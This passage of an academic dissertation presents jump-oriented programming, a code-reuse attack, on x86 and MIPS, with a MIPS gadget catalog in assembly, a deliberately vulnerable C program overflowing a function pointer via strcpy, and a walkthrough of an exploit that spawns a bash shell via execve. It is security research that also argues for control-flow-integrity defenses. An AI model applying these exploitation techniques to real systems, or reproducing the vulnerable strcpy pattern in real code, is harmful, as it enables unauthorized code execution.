73  to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
74  dw 0x73 ; The standard code segment; allows far jumps; ends in NULL

Figure 3.5: A jump-oriented shellcode written in NASM.
directly expressed in our exploit buffer, because it contains nulls. To compensate for this, we first construct a series of gadgets to write nulls to our own buffer so that the system call gadget given in Section 3.3.3 can be used. We call this sequence of gadgets the *null writer*.

The first gadget executed (g00) uses a `popa` instruction to set all registers in preparation for the null writer. These values come from lines 23–30. Registers `esi` and `edx` are used to return to the dispatcher at the end of functional gadgets, the dispatcher registers `edi` and `ebp` are unchanged, and the target of the null writer, `ebx`, is made to point at the 3 high bytes of the future value of `eax`, represented by the label `new_eax`. Gadget g00 concludes by performing a meaningless floating-point calculation and jumping back to the dispatcher via `edx`.

The source register for the null writer is `eax`, but because we cannot directly set `eax` to 0 to begin with, it is set to -1 and incremented with the next gadget, g01 (line 60).

Gadgets g02–g06 constitute the null writer itself. The even-numbered gadgets write a single byte to an address based on `ebx`, while the odd numbered gadgets increment `ebx`. (These gadgets also execute `stc` and `fdivr` instructions, but these have no relevant side-effects for our purposes.) The end result is that the 0xEE bytes of `new_eax` on line 48 are changed to nulls. This makes the future value of `eax` 0xb, which is system call number for `execve`.

With the preparations complete, the remaining gadgets g07–g0a employ the strategy outlined in Section 3.3.3 to make the system call. Gadget g07 starts by populating the registers with the values from lines 33–40. Then, because this gadget needs to use `ecx` as a jump target, gadgets g08–g09 swap `eax` and `ecx` and then load `eax` from memory referred to by `esi`. However, different offsets of `esi` are also used as jump targets. Luckily, these offsets all refer to mutually exclusive regions of memory, so `esi` can perform multiple roles simultaneously. To do this, a region of the exploit buffer after the stack is used to accommodate the multiple offsets of `esi` (lines 43–48). This contains three copies of the dispatcher address, plus the future value of `eax`, which was modified by the null writer to equal 0xb.

Once all this is done, `eax` is set to the `execve` system call and `ebx` points to the string "/bin/bash" (taken from the environment variable SHELL). The parameters `argv` (`ecx`) and `envp` (`edx`) are simply pointed to null values, as they are not necessary to successfully launch the shell. With these registers set, gadget g0a points to a `sysenter` instruction, which makes the system call and launches an interactive shell.

The `execve` call does not return, so this marks the end of our jump-oriented program, which has achieved the unauthorized launch of the shell without a single `ret` instruction.

### 3.4 Discussion

In this section, we examine possible limitations and discuss further refinements in the jump-oriented programming technique. First, while we have found that the JOP technique is capable of arbitrary
computation in theory, constructing the attack code manually is a complex task, moreso even than in ROP. The main reason is an added layer of interdependency in JOP gadgets. Specifically, because of the reliance on certain registers to serve as the “state” for the jump-oriented system (e.g., the pointer to the dispatch table and the callback to the dispatcher after each gadget execution), there are complex restrictions on the sequence of gadgets that can be assembled. Oftentimes, the attack designer will need to introduce gadgets whose sole purpose is to make the next gadget work (e.g., by setting a jump target register). This naturally complicates the development of automated techniques to facilitate the jump-oriented programming. This is especially true on the x86 platform, where there are a plethora of esoteric instructions with implicit side-effects which may not be obvious to a human designer.

Second, the work presented in this chapter shows the effectiveness of jump-oriented programming on the x86 platform. The technique was assisted by a two of x86-specific quirks which conspire to make gadgets based on jmp and call especially plentiful: (1) variable length instructions allow multiple interpretations of the code stream, and (2) indirect branch instructions begin with the especially common 0xff byte. For the attack to be considered a general threat, however, it must be shown to be viable on other platforms, including RISC environments, whose architecture is radically different than the x86. To this end, Chapter 4 demonstrates how the jump-oriented model can be applied to the MIPS platform, a popular RISC CPU.

Third, if we examine the nature of the two different programming models, i.e., ROP and JOP, the basis of the vulnerability is not the returns or the indirect jumps, but rather the promiscuous behavior of allowing entry to any address in an executable program or library. To defend against them, there is a need to enforce control flow integrity. Chapter 2 examines related work that attempts to achieve this, and also discusses a number of orthogonal defenses which could also be used to impede or prevent either return- or jump-oriented programming. Further, Chapter 6 proposes a novel defense mechanism which enforces control flow integrity, including within the context of indirect jumps.

### 3.5 Summary

In this chapter, we have presented a new class of code-reuse attack, *jump-oriented programming*. This attack eliminates the reliance on the stack and rets from return-oriented programming but without sacrificing its expressive power. In particular, under this attack, we can build and chain normal *functional gadgets* with each performing certain primitive operations. However, due to the lack of ret to chain them, this attack relies on a *dispatcher gadget* to dispatch and execute next functional gadget. We have successfully developed an example shellcode attack based on jump-oriented programming, and the abundance of jmp gadgets in GNU libc indicates the practicality and effectiveness of this attack.
In the following chapter, this technique is ported to a RISC architecture, demonstrating the generality of the threat.
Chapter 4

Generalizing the Jump-Oriented Programming Attack to RISC\textsuperscript{1}

The previous chapter introduced \textit{jump-oriented programming} (JOP) and demonstrated it in the context of the x86 platform. On the x86, the JOP technique makes use of unintended x86 instructions, which naturally raises a follow-up question: as with ROP, is JOP also applicable to other platforms?

In this chapter, we show that the answer is “yes”. We choose the MIPS platform, a popular one commonly deployed in many embedded applications, and demonstrate the feasibility of developing a jump-oriented attack on it. Note that MIPS is vastly different than the x86 and has its own unique challenges. We show that these challenges can be successfully overcome. As an example, the x86 has unaligned instructions, which brings the possibility of finding unintended (but useful) instruction sequences. MIPS does not share this trait, but we find that it is possible for develop a jump-oriented attack for a completely different reason: there is a very large number of intended indirect jump instructions as a consequence of the way position-independent code is handled (see Section 4.1). In short, while the underlying technical reasons are very different, we demonstrate that both platforms are susceptible to this new attack, lending support to the theory that JOP is a portable, general attack not tied to a specific architecture quirk.

The contributions of this chapter are threefold:

1. We expand the field of JOP attacks to a RISC-style architecture.

2. We present a gadget catalog for developing jump-oriented programs on MIPS. The gadget catalog contains the “dispatcher gadget,” which is the key to the JOP model (see Section 3.2.1), various functional gadgets to perform basic operations, as well as the initializer gadget to initialize and launch the JOP attack.

\textsuperscript{1}The author would like to thank Yajin Zhou for his help in understanding the MIPS architecture.
Table 4.1: A simplified summary of MIPS opcodes seen in this paper. Details such as overflow traps and mnemonic/operand-type agreement are omitted.

<table>
<thead>
<tr>
<th>Mnemonic(s)</th>
<th>Operation</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>addiu/addu A, B, C</td>
<td>$A \leftarrow B + C$</td>
<td>Addition</td>
</tr>
<tr>
<td>sub/subu A, B, C</td>
<td>$A \leftarrow B - C$</td>
<td>Subtraction</td>
</tr>
<tr>
<td>negu A, B</td>
<td>$A \leftarrow -B$</td>
<td>Negation</td>
</tr>
<tr>
<td>and/andi A, B, C</td>
<td>$A \leftarrow B &amp; C$</td>
<td>Logical And (also present: or/ori,xor/xori)</td>
</tr>
<tr>
<td>not A, B</td>
<td>$A \leftarrow \neg B$</td>
<td>Logical Not</td>
</tr>
<tr>
<td>nop</td>
<td></td>
<td>No-op</td>
</tr>
<tr>
<td>move A, B</td>
<td>$A \leftarrow B$</td>
<td>Inter-register move</td>
</tr>
<tr>
<td>lw A, x(B)</td>
<td>$A \leftarrow *(B + x)$</td>
<td>Load word into register</td>
</tr>
<tr>
<td>sw A, x(B)</td>
<td>*(B + x) $\leftarrow A$</td>
<td>Store word into memory</td>
</tr>
<tr>
<td>jr A</td>
<td>goto A</td>
<td>Indirect jump to register</td>
</tr>
<tr>
<td>jalr A</td>
<td>goto A ; ra $\leftarrow$ next</td>
<td>Indirect jump to register; set return address</td>
</tr>
<tr>
<td>sll A, B, C</td>
<td>$A \leftarrow B &lt;&lt; C$</td>
<td>Binary shift left</td>
</tr>
<tr>
<td>sltiu A, B, C</td>
<td>$A \leftarrow (B &lt; C)?1:0$</td>
<td>Set if less than</td>
</tr>
</tbody>
</table>

3. We demonstrate the efficacy of this technique with a jump-oriented shellcode attack on the MIPS architecture.

The remainder of the chapter is organized as follows: Section 4.1 provides a background of the MIPS architecture. After that, Section 4.2 presents the design of the JOP attack on the MIPS architecture, then Section 4.3 details a Turing-complete set of gadgets uncovered from a regular GNU libc library running on a big-endian 32-bit MIPS machine. Section 4.4 discusses an example attack by utilizing the gadget catalog. Finally, Section 4.5 examines the limitations of our approach and explores ways for improvement and Section 4.6 concludes this chapter.

### 4.1 Background

To appreciate the technique presented in this paper, it will be necessary to explain some aspects of the MIPS architecture. This architecture was developed by MIPS Technologies in 1981, and has seen steady revision into the 32- and 64-bit standards seen today [41]. It saw brief success as a desktop platform before becoming a mainstay in embedded applications.

MIPS is a RISC-based register machine. Arithmetic and logic instructions generally use three operands: the destination register and two source registers. For example, an add operation might be performed with the instruction “add t0,t1,t2”, which means $t0 \leftarrow t1 + t2$. All instructions are word-length and word-aligned. The 32-bit version of the platform (MIPS32) was used in this work; the remaining discussion focuses on this variant, so instructions are each 32 bits (4 bytes) in length. The MIPS opcodes used in this paper are summarized in Table 4.1.

31
One interesting trait of the architecture is the use of *delay slots* after branch and load instructions. When the CPU encounters a branch instruction, the instruction directly following it is always executed, regardless of if the branch was taken or not. This helps the CPU support pipelining, as it reduces the amount of work that must be flushed out of the pipeline when a branch is taken. The compiler, being aware of this, will insert useful work in the delay slot when possible, otherwise a no-op (**nop**) instruction is emitted. A similar delay slot exists after memory loads, where the instruction directly after a load instruction must not assume that the memory operation has finished yet. It is important to understand this feature when developing jump-oriented code.

The calling convention is maintained in software only, and includes provisions for a stack operated by registers **r29** (commonly known as **sp**, or “stack pointer”), **r30** (**fp**, “frame pointer”), and **r31** (**ra**, “return address”). Subroutines are made possible by the “Jump And Link” instructions (**jal** and **jalr**), which load the program counter with the operand, but also load the special **ra** register with the address of the next instruction. Stack semantics are maintained entirely by the function prologue and epilogue, which save and restore **ra** and callee-preserved registers on the stack as needed.

In order to support position-independent code (PIC), MIPS uses one additional register in a special way: **r28** is known as **gp**, or the “global pointer”. In the case of dynamic linking on Linux, the GOT table, which holds pointers to dynamically linked functions, is located relative to **gp**. Entries in this table are resolved by the loader at run time. For example, a call to **printf()** will be compiled as:

```
    lw   t9,-32708(gp) ; Load register t9 from memory at a constant offset from gp
    nop ; No-op
    jalr t9 ; Jump to address in register t9
```

The Linux/MIPS convention is that all the PIC calls should use the **t9** register to hold the address of the called function. This leads to an extraordinary number of **jalr t9** instructions being present in common binaries, which, as will be shown in Section 4.2, is what makes jump-oriented programming possible on MIPS.

The other registers of interest are the 24 general purpose registers used by user code. These are separated into a few groups based on intended purpose and calling convention, but for our purposes, these distinctions are irrelevant. These registers are **v0**..**v1**, **a0**..**a3**, **s0**..**s7**, and **t0**..**t9**. There is also a special **zero** register which always contains zero. To perform system calls, the Linux/MIPS convention is to place the system call number in **v0** and the parameters into registers **a0**..**a3**.

### 4.2 Design

The goal of JOP is to achieve Turing completeness and the ability to use system calls while only using indirect jumps to maintain control flow. To launch a JOP attack on the MIPS architecture,
we assume a threat model similar to that of the previous chapter. Specifically, for an attacker to use JOP, two requirements must be met. First, the attacker must put a payload into memory and gain access to a set of registers, including the CPU instruction pointer. This is reasonable, as many common bugs exist and can be exploited to achieve this behavior (see Section 3.2.4). Second, there must be a codebase with a significant number of indirect jumps on which to base gadgets. This is also reasonable, as a sufficient set of gadgets was found in libc for the x86, and we find a similarly complete set on MIPS (see Section 4.3).

On the x86, unaligned, variable-length instructions combined with the commonality of the particular byte sequence that encodes indirect jumps (0xFF) led to a very large selection of unintended indirect jumps on which to build JOP gadgets. On MIPS, this is not the case. However, unlike x86, there is a very large number of intended indirect jumps in MIPS code, with 10,283 in our version of libc. (This doesn’t include the 3,338 jumps to the return address register ra, which are roughly analogous to the return instruction on x86.) This is due in large part to the way position-independent code (PIC) is handled on Linux/MIPS, with each call being a computed jump via the t9 register. In fact, indirect jumps via the t9 register constitute 10,194 of the indirect jumps (99.1%). This presents a rich codebase from which to gather functional gadgets.

As in JOP on x86, a dispatcher gadget is needed to govern control flow. Because the selection of functional gadgets will use the t9 register to jump back to the dispatcher, the dispatcher itself must not rely on t9. This may seem problematic, as there are fewer than 100 non-t9-based indirect jumps to choose from. However, recall that the definition of a dispatcher is very broad: it includes any instruction sequence which advances a pointer, dereferences it, and jumps to the result. Therefore, even though the selection of jumps is relatively small, as we show in Section 4.3.1, there is no shortage of dispatcher candidates.

### 4.2.1 Gadget discovery

To locate gadgets, we adopt a similar approach to the algorithm used to find JOP gadgets on x86. The algorithm searches for indirect jumps, then walks backwards, disassembling each code snippet and determining its viability as a JOP gadget; code sequences with illegal instructions or jumps to locations outside of the gadget bounds are eliminated from consideration. On the other hand, due to the discrepancies between the two architectures, the gadget discovery algorithm for MIPS has a few key differences. First, because the instruction after a jump will always be executed, the concept of “walking backwards” must be revised to mean first including the instruction after the jump, then the sequence of instructions before it. Second, because MIPS uses aligned instructions, it is not necessary to scan for would-be indirect jumps and disassemble backwards from there. Instead, one can simply disassemble the entire executable region of the binary in question, find indirect jumps directly, then walk backwards one instruction at a time rather than one byte at a time. Regardless
of these changes, the result of the gadget search algorithm is the same: it provides a pool of valid
gadget candidates to choose from.

Because this pool can contain tens of thousands of gadget candidates, heuristics are applied to
narrow the choices for a given task, which is then selected manually. In the case of the dispatcher
gadget, there is a wide variety of possible forms to search for. In the simplest case, searching for
all gadgets which modify their own jump target is guaranteed to find all possible dispatchers, but
will likely include a large number of false positives. On MIPS, we found that the small number of
instruction types means that most operations have a “canonical” form when expressed in machine
code. Therefore, it was straightforward to build a heuristic that finds arithmetic dispatchers, i.e.
those that increment the table pointer by a constant each time. This heuristic was based on a
regular expression spanning multiple instructions; this regular expression finds gadgets that have
the minimum set of instructions needed be a straightforward arithmetic dispatcher:

\[
(\text{add|addi|addiu|addu|sub|subu}) \ pc,pc,\text{anything}
\]

\[
\ldots
\]

\[
\text{lw} \ target,\text{offset}(pc)
\]

\[
\ldots
\]

\[
(\text{jalr|jr}) \ target
\]

Here, block text indicates literal regular expression content, while italicized values indicate
complex matches—\text{pc} and \text{target} are registers, \text{offset} is any integer, and \text{anything} is either a register
or integer, depending on the kind of arithmetic instruction. With this regular expression, we accept
any gadget that (1) advances a register by a constant using one of the add or subtract instructions,
(2) dereferences this register into another, and (3) jumps to the result. Other instructions may be
interleaved these operations. As shown in Section 4.3.1, even a restrictive heuristic like the above
one can lead to a significant number of dispatcher gadgets.

When it comes to functional gadgets, because of the preponderance of \text{t9}-based indirect jumps,
the first heuristic to apply is to limit the selection to gadgets that jump via \text{t9} and do not modify it. This is a departure from JOP on the x86, where the limited number of registers and complex
instruction set led to the jump register routinely varying between gadgets.

To find arithmetic, logic, memory, and register-move gadgets, one need only craft a regular
expression that finds gadgets using the desired opcode on registers other than those in use by the
dispatcher. Then the attacker reviews the findings to locate the gadgets that uses the desired set
of registers with an acceptable set of side-effects.

In order to load constants, the stack can be co-opted as a straightforward data loading mecha-
nism. Unlike the x86, however, there is no single \text{pop} instruction on MIPS. Instead, gadgets can be
found which load registers from fixed offsets relative to the stack pointer \text{sp}. In order to advance
the stack to a new set of constants, stack lifter gadgets can be found which increment \text{sp} by a
constant. Both of these gadgets are simply special cases of the general arithmetic and memory gadgets, and can therefore be found by applying regular expressions to disassembled code.

Branching, especially conditional branching, is a crucial ingredient to building a Turing complete computation. A branch in a jump-oriented program is an adjustment to the register being used as the dispatcher’s pc—not just a change in the CPU’s instruction pointer. On the x86, we proposed a number of ways to achieve this, including leveraging in-gadget conditional jumps, exploiting the “add with carry” instruction, or using another conditional instruction such as the “set on condition” series of instructions. For the MIPS platform, we adopt the latter approach. There exists a “set if less than” (slt) series of instructions which set a register to 1 or 0, depending on the result of a comparison. Gadgets featuring this instruction, when combined with arithmetic gadgets, can be used to conditionally advance a register, including the one being used as pc. As before, such gadgets can be located via straightforward regular expressions applied to the disassembled codebase.

In addition to functional gadgets and the dispatcher, there is one additional kind of gadget that the attacker may need to bootstrap the jump-oriented program: the initializer gadget. This gadget is responsible for populating the dispatcher gadget’s key registers with attacker-supplied values before jumping to the dispatcher for the first time. The necessity of this gadget depends on the nature of the bug being exploited: if the attacker can ensure certain registers are commandeered as part of the initial exploit (e.g., during a setjmp exploit; see Section 3.2.4), then the initializer gadget may not be necessary at all. However, in the case of a simple function pointer overwrite, an initializer gadget will be needed, as the attacker would otherwise only have control of the CPU instruction pointer. On MIPS, one of the simplest forms of initializer gadget is a bulk load from the stack. Because MIPS has no dedicated pop instruction, code that loads a large number of registers from offsets of the stack pointer is common. Based on this, the attacker need only redirect control flow to a gadget that loads the necessary registers from attacker-controlled regions of the stack before jumping to the dispatcher. This is the mechanism chosen for the example attack presented in Section 4.4.

The above gadgets are sufficient to launch a jump-oriented Turing complete computation. However, computation without output and other system services is of little use to the attacker. For this, there must also be the ability to make a system call. On Linux/MIPS, this is achieved by setting register v0 to the call number, populating registers a0..a3 with the parameters, then issuing the syscall instruction. Gadgets which issue a syscall instruction before jumping are plentiful, however, there can be a conflict in populating those specific registers. Specifically, one or more registers needed for the syscall may coincide with those needed for the dispatcher (an unfortunate necessity for the dispatchers found in our version of libc). In such cases, it is possible to jump to a special pre-syscall gadget which will populate all needed register before jumping directly to the syscall instruction. One form of this gadget loads each conflicting register, as well as t9, from the stack. The jump target t9 is loaded with the address of a gadget which executes syscall and
restores t9 before jumping back to the dispatcher. Specific examples of this technique are given in Section 4.3.2.

4.3 Gadget Catalog

This section details a Turing complete set of gadgets based on the JOP paradigm. These gadgets were found within the GNU libc library as deployed on Debian Linux 5.0.4 on a big-endian 32-bit MIPS machine.

4.3.1 The Dispatcher Gadget

While the definition of dispatcher can be broad, we were able to derive plenty of dispatcher candidates using the restrictive arithmetic dispatcher heuristic as described in Section 4.2. Recall that the highly prevalent t9 register is set aside for use in terminating functional gadgets, and is therefore unavailable for use in the dispatcher. This leaves only 89 non-t9 based indirect jumps to choose from. However, even eliminating any dependance or effect on the t9 register, we still find 146 dispatcher candidates of this form in libc! Narrowing the search further to arithmetic dispatchers that advance pc by a register value each time and whose length and number of side-effects is minimized, we can find dispatcher candidates of the following form:

```
addu v0,a0,v0 ; Advance v0 (pc) by a0 (delta)
lw v1,0(v0) ; Load *v0 into v1
nop
addu v1,v1,gp ; Add the global pointer (side-effect)
jr v1 ; Jump to resulting address
nop
```

This style of gadget is repeated 42 times, often with different arrangements of registers. In the example given above, v0 takes the role of pc. The a0 register represents the delta applied at each iteration. Both of these registers must be set by the attacker when the attack begins; this is handled by the initializer gadget. The v1 register is used to dereference v0, meaning that it is clobbered by the dispatcher, but does not need to be initialized or maintained between functional gadgets. There is one minor side-effect in this style of gadget: because of the role of this code in the intended program, the value of the global pointer gp is added v1 before jumping. Fortunately, this is easy to compensate for: the value of gp does not change during the attack, so the attacker can simply subtract this value from gadget table entries when designing the attack.

**Initializer gadget** An initializer gadget is needed if the initial bug exploit is not capable of taking control of all the needed registers at once, as is the case a function pointer overwrite attack. Fortunately, MIPS code is replete with bulk load-from-stack code which can be used for

---

2/lib/libc-2.7.so. File size: 1543648 bytes, MD5 checksum: 37a7a22c9f86bd9326258995097fbc3.
this purpose. Selection of the initializer gadget depends on the dispatcher chosen; for the dispatcher presented above, the following initializer will load all the needed registers from the stack.

```
lw v0,44(sp) ; v0 = *(sp+44)  Load "pc"
lw t9,32(sp) ; t9 = *(sp+32)  Load t9 with dispatcher address
lw a0,128(sp) ; a0 = *(sp+128) Load "delta" value
lw a1,132(sp) ; a1 = *(sp+132) Side effect
lw a2,136(sp) ; a2 = *(sp+136) Side effect
sw v0,16(sp) ; *(sp+16) = v0  Side effect
jalr t9 ; Jump to t9, the dispatcher
move a3,s8 ; Side effect
```

### 4.3.2 Functional Gadgets

This section details a selection of specific functional gadgets, each ending in a jump via the `t9` register. The shortest and most straightforward gadgets are presented; there are numerous different and more complex variations available.

**Inter-register move** The gadgets presented in this catalog use specific registers, and while the choices are often plentiful, it is not always possible to find the perfect gadget that uses the desired registers. In such cases, it is necessary to copy values between registers to prepare for a specific gadget; this is done via inter-register move gadgets, i.e. gadgets using the `move` instruction. These are plentiful in MIPS code. Even searching for the minimum gadget size possible, two instructions, we found 1,568 move gadgets representing 69 combinations of registers. Analyzing these, we find that it is possible to interchange any registers of the set `{a0..a3,v0,s0..s7,sp,fp}`. This set is sufficient to take advantage of any functional gadget presented in this catalog.

**Loading constants** Co-opting the stack is a straightforward way to load attacker-supplied values into registers. This requires two kinds of gadgets: gadgets to load registers from offsets of the stack pointer `sp`, and gadgets to advance `sp` as needed. Because of the post-load delay slot, the shortest load gadget is three instructions long. In our libc, we find 239 three-instruction stack load gadgets using varying offsets and registers, with 11 of these having no side-effects, e.g.:

```
lw a1,40(sp)
jalr t9
nop
```

To advance `sp`, we find 267 two-instruction gadgets which add a constant value to `sp`, e.g.:

```
jr t9
addiu sp,sp,8
```

The offsets found in these gadgets range from 8 to 104, and combining just two of these gadgets is sufficient to advance `sp` by any multiple of 8 less than 208.
In addition to this technique, 470 two-instruction gadgets exist to load almost any register with the special zero register, clearing it to zero. Further, this can be combined with an increment or decrement gadget to set a register to -1 or 1.

**Memory load/store** Similar to constant loading, memory operations are simply loads and stores relative to a register. We find 539 three-instruction load gadgets, 237 of which are without side effects, e.g.:

```
    lw  s1,0(s0)
    jalr t9
    nop
```

We find 159 memory store gadgets, all of which are free from side-effects, e.g.:

```
    jalr t9
    sw  s0,0(s2)
```

**Arithmetic** For addition and subtraction of registers, we find 35 two-instruction adders and 31 two-instruction subtracters, e.g.:

```
    jalr t9
    addu a3,s3,s0
```

For two’s complement negation, one can use a subtraction gadget, or employ either of the 2 two-instruction negu gadgets found in libc.

To increment by a small constant, it is possible to find add-immediate gadgets to do the job without loading the constant into a register. There are 47 two-instruction gadgets to add one, 33 gadgets which subtract one, and 36 gadgets that add the word size, four.

**Bitwise operations** To perform a bitwise not on MIPS, one would normally use the nor (not or) instruction. However, there are no nor instructions in proximity to an indirect jump. Fortunately, bitwise inversion is possible via the arithmetic gadgets: it is equivalent to an arithmetic negation followed by a decrement, both of which are readily available.

For a bitwise and between two registers, we find 5 gadgets of three instructions or fewer with managable side-effects, including one with no side effects:

```
    jalr t9
    and a1,a1,s1
```

For bitwise or, one can combine not and and, or use either of the two or gadgets found, e.g.:

```
    or a1,a1,a2
    jalr t9
    move a2,a3 ; Side effect
```

38
Branching  Unconditional branching is achieved by adjusting the register used as the dispatcher’s pc. This can mean setting the register directly (absolute jump), or, in the case of an arithmetic dispatcher, adding a constant to achieve a relative jump. The absolute jump is simply a case of a two-instruction move gadget which overwrites the dispatcher’s pc—as mentioned earlier, these are plentiful. Similarly, the relative jump is simply an arithmetic add or subtract gadget whose destination register is the dispatcher’s pc—these are also plentiful.

To make branching conditional (a requirement for Turing complete computation), one must tie a relative change in pc to the result of a comparison or similar operation. Fortunately, there are gadgets to (a) make numeric comparisons and (b) turn the results of such comparisons into a change in pc. To perform a numeric inequality comparison, one would first subtract the two registers in question, then use a “set if less than 1” gadget on the result. There are 5 such gadgets that are two instructions in length, e.g.:

\[
\text{jalr } t9 \\
\text{sltiu } a1,s1,1
\]

This gadget will set \(a1\) to 1 if the value of \(s2\) is less than 1, else it will be set to 0. Next, the resulting value can be multiplied by the word size, 4, through the use of a left shift gadget. There are 67 such gadgets which shift left by 1 to 4 bits, including 48 which shift by exactly 2 bits, e.g.:

\[
\text{jalr } t9 \\
\text{sll } a1,a1,0x2
\]

Finally, we execute a gadget which adds the delta value (\(a1\) in this example) to the dispatcher’s pc. In the dispatcher presented earlier, pc is represented by register v0. As an example, we find 22 gadgets of four instructions or fewer which advance v0 by a general purpose register, including this one which uses \(a1\):

\[
\text{addu } v0,v0,a1 \\
\text{lw } a1,0(v0) \quad ; \text{Side effect} \\
\text{jalr } t9 \\
\text{addiu } s0,s0,1 \quad ; \text{Side effect}
\]

System calls  To make a system call, one must set register v0 to the call number and registers a0..a3 to the parameters, then issue a syscall instruction. This register requirement can complicate things, as the arithmetic dispatchers found rely on one or more of these registers to function. This problem is solved through the use of a special pre-syscall gadget, which populates all conflicting registers and jumps directly to the syscall instruction, bypassing the dispatcher. As an example, we find 64 gadgets under 12 instructions in length which load v0, a0, and t9 from memory. Note that the initializer gadget discussed earlier can be reused for this purpose. Below is the initializer gadget given earlier, except the comments have been changed to demonstrate its suitability as a pre-syscall gadget.
```c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

struct entity {
    char name[256];
    void (*handler)();
};

void handle_error() { /* ... */ }

int main(int argc, char** argv) {
    struct entity e;
    e.handler = handle_error;
    strcpy(e.name, argv[1]);
    e.handler();
    return 0;
}
```

Figure 4.1: The example vulnerable program. A string overflow from `argv[1]` will overwrite `handler`.

lw v0,44(sp) ; Set syscall number from stack
lw t9,32(sp) ; Set jump target to 'syscall' gadget
lw a0,128(sp) ; Set 1st parameter a0 from stack
lw a1,132(sp) ; Set 2nd parameter a1 from stack
lw a2,136(sp) ; Set 3rd parameter a2 from stack
sw v0,16(sp) ; Side effect
jalr t9 ; Jump to 'syscall' gadget, bypassing dispatcher
move a0,s8 ; Set 4th parameter a3 from s8

This gadget jumps to the proper syscall gadget. To maintain control after the system call, the syscall gadget just change its own jump target to a gadget which will restore the registers used by the dispatcher. The initializer gadget used to kick off the jump-oriented program can be reused for this purpose. We find 581 syscall gadgets which set their own jump target t9, e.g.:

syscall
lw t9,-31340(gp)
nop
jalr t9
move a0,s1 ; Side effect

In the above example, `gp` can be set ahead of time so that `t9` is populated with the address of the initializer gadget.

The gadgets listed in this catalog cover arithmetic, logic, comparisons, and conditional branching. When combined, these capabilities form the basis of a Turing complete machine.

### 4.4 Example Attack

The source code for our example vulnerable program is given in figure 4.1. Similar to the x86 example, this program has a flaw in which an unrestrained `strcpy()` of `argv[1]` can overflow into
Figure 4.2: A jump-oriented shellcode for MIPS written in NASM.
other data. Unlike that example, however, the item being overwritten is a function pointer instead of a jmp_buf structure.

As before, this application will be exploited to run a jump-oriented shellcode which launches an interactive shell via the the execve system call. The exploit code was again constructed in NASM\textsuperscript{3} [1]. As before, no machine code is being generated by NASM—it is used only to output a buffer of raw data values. The source code for the attack is given in Figure 4.2. Please refer to Section 3.3.4 for a summary of the NASM macros employed.

As with the x86 variant, when the exploit source is assembled by NASM, a binary exploit file will be produced which can be provided to the vulnerable program on the command line, i.e.:

```
$ ./vulnerable "`cat exploit.bin`"
```

This command will start the jump-oriented program and provide the attacker with an interactive bash session.

To get oriented to the exploit code, we begin with an overview of its high-level components. First, lines 1–8 specify constants used later in the script, while lines 10–22 are simply comments which show the machine code for certain gadgets. None of these lines encode any output. The first output begins with lines 24–48, which encode data for the jump-oriented program. These values are used by load-from-stack gadgets to populate registers with attacker-controlled values. The values listed as 0xaaaaaaaa are irrelevant and could be anything. Next, the actual list of jump-oriented gadgets to run is given in lines 50–58. As with the x86 attack, because the value used to increment pc cannot contain NULL bytes, we use a negative value, causing the dispatch table to be written in reverse order, with the first gadget g00 on line 57. With this data emitted, we then pad the remaining buffer up to the legitimate buffer size (256 bytes) on line 61, then overflow into the function pointer on line 64. The binary to be executed by execve is given after this on line 67, and the null byte on line 68 ends the attack buffer. The total size of the exploit is 270 bytes.

In order to best understand the attack, we will step through it chronologically. At the start of the vulnerable program, the attack buffer exists only in argv[1]. The application sets the function pointer e.handler to a legitimate function, then copies argv[1] into e.name. The output of lines 1–61 fills this buffer, but because there is no bounds checking, line 64 overwrites e.handler which immediately follows it. The string from line 67 clobbers some additional stack space before stopping with the null terminator on line 68.

Next, the program calls the overwritten function pointer, which causes control flow to jump to an attacker controlled location. The location we have selected is the initializer gadget given in Section 4.3.1. This gadget populates the registers v0, t9, a0, a1, and a2 from addresses relative to

\textsuperscript{3}Because NASM is designed to create x86 binaries, it emits values in little-endian format. Our MIPS environment is big-endian, however, so a minor adjustment was made to NASM to enable it to output integers in big-endian format.
the stack pointer \( sp \). (It saves \( v_0 \) to another location and moves \( s_8 \) into \( a_3 \), but these are irrelevant side-effects.) It so happens that \( sp \) points 24 bytes before our attack buffer, so based on the offsets in the machine code, the initializer gets its values from lines 28–34 of the exploit.

These values prepare the CPU state to execute the dispatcher gadget given in Section 4.3.1, which uses \( v_0 \) as \( pc \) and \( a_0 \) as a delta value to increment \( pc \). The initializer sets \( v_0 \) to the start of the gadget table (\( g_{\text{start}} \)) and \( a_0 \) to a delta value of -4, meaning that the dispatcher steps backward through the dispatch table one word at a time. The \( t_9 \) register is set to the address of the dispatcher gadget, and the initializer ends with \texttt{jalr t9}, sending control to the dispatcher.

The dispatcher will execute the gadgets on lines 52–57 in reverse order; the gadgets are numbered \( g_{00} \) through \( g_{05} \). To perform the \texttt{execve} system call, we need to populate the registers as follows before executing a \texttt{syscall} instruction:

- \( v_0 \) gets the system call number for \texttt{execve}, 4011.
- \( a_0 \) gets the first argument, the file to execute, which is “/bin/bash”.
- \( a_1 \) gets the second argument, \texttt{argv}, which can simply point to a null word.
- \( a_2 \) gets the third argument, \texttt{enpv}, which can also point to a null word.

Setting \( a_0..a_2 \) is straightforward, as these are simply pointers, but \( v_0 \) is presents a challenge. Because we are exploiting a string overflow, no null bytes can be present in the attack code. The syscall number is 4011, or 0x00000FAB in hexadecimal, meaning that it contains two null bytes. Therefore, we must specify the integer programmatically rather than literally. This is achieved by gadgets \( g_{00} \) through \( g_{04} \).

First, gadgets \( g_{00} \) and \( g_{01} \) simply advance the stack pointer by 112 bytes. This is to allow the pre-syscall gadget \( g_{05} \) to load all of the syscall parameters from lines 40–48. Before this can happen, we must patch this memory so the location that will populate \( v_0 \), memory offset \( sp+44 \) (line 42), contains the integer 4011. To do this, gadget \( g_{02} \) loads -4011 (which contains no null bytes) from \( sp+80 \) (line 44), gadget \( g_{03} \) takes the two’s compliment of it, and gadget \( g_{04} \) writes the result into the memory at location \( sp+44 \).  

Finally, with this preparation complete, gadget \( g_{05} \) acts as the pre-syscall gadget. It loads the registers \( t_9 \), \( v_0 \), and \( a_0..a_2 \) before jumping directly to the actual syscall gadget, bypassing the dispatcher. When the syscall executes, control is passed to the kernel and the bash shell is executed, thus completing the jump-oriented attack.

### 4.5 Discussion

The goal of this work is to make a case for the generality of the JOP technique. To this end, the MIPS architecture was chosen not only for its ubiquity in embedded applications, but also because it
is radically different from x86. Demonstrating that JOP is applicable in this environment supports
